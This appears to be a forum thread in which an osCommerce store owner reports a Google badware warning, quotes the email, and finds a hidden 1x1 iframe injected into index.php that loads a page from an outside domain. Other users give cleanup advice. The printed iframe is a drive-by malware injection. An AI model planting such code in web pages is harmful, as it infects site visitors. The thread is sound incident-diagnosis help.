Google flagged me with Badware

[hey_suburbia]

I got this from google regarding my OScommerce store, has anybody else gotten something similiar?

What can I do?

 

Scanned with McAfee Site Advisor....

 

Backup DB and re-upload? Is it safe to upgrade to the new Alpha.

 

Please offer any advice.

 

Thanks

 

Mickey

 

 

 

Dear site owner or webmaster of ahpminis.com,

We recently discovered that some of your pages can cause users to be

infected with malicious software. We have begun showing a warning page

to users who visit these pages by clicking a search result on Google.com.

Below are some example URLs on your site which can cause users to be

infected (space inserted to prevent accidental clicking in case your

mail client auto-links URLs):

 

http://www.ahpminis .com/store/

 

Here is a link to a sample warning page:

http://www.google.com/interstitial?url=htt...w.ahpminis.com/

We strongly encourage you to investigate this immediately to protect

your visitors. Although some sites intentionally distribute malicious

software, in many cases the webmaster is unaware because:

1) the site was compromised

2) the site doesn't monitor for malicious user-contributed content

3) the site displays content from an ad network that has a malicious

advertiser

If your site was compromised, it's important to not only remove the

malicious (and usually hidden) content from your pages, but to also

identify and fix the vulnerability. We suggest contacting your hosting

provider if you are unsure of how to proceed. StopBadware also has a

resource page for securing compromised sites:

http://www.stopbadware.org/home/security

Once you've secured your site, you can request that the warning be

removed by visiting http://www.stopbadware.org/home/review and

requesting a review. StopBadware and Google will jointly investigate

and reply to you with our findings. If your site is no longer harmful

to users, we will remove the warning.

Sincerely,

Google Search Quality Team

[hey_suburbia]

I found this in index.php:

 

<iframe src="http://www.newoldway.info/c/2261/counter21.php" width=1 height=1 style="display:none"></iframe>

 

 

Could this be the culprit?

[kirikintha]

That counter probably is the problem - using those external counters is not what I would recommend. There are better scripts out there.

 

This really isn't a support forum for what Google is finding - I have had them spider and crawl me to death and I have never seen an error like this.

 

Are you using an ad server? Are you an adult web site - I'm sure as hell not going there to check.

 

If you have not done anything - you've been hacked. Talk to your hosting company.

[hey_suburbia]

Yeah, I think I'll contact the hosting company.

 

It's just a store front that I sell motorcycle parts. No ads, nothing adult...

[kirikintha]

Cool - see if www.newoldway.info comes up under googles list of known malicious coders - it's under their developer tools

[Jack_mcs]

Yeah, I think I'll contact the hosting company.

 

It's just a store front that I sell motorcycle parts. No ads, nothing adult...

Take a look at this.

 

Jack

[bobg7]

It's called SiteMonitor and it can be found here http://www.oscommerce.com/community/contri...all/search,hack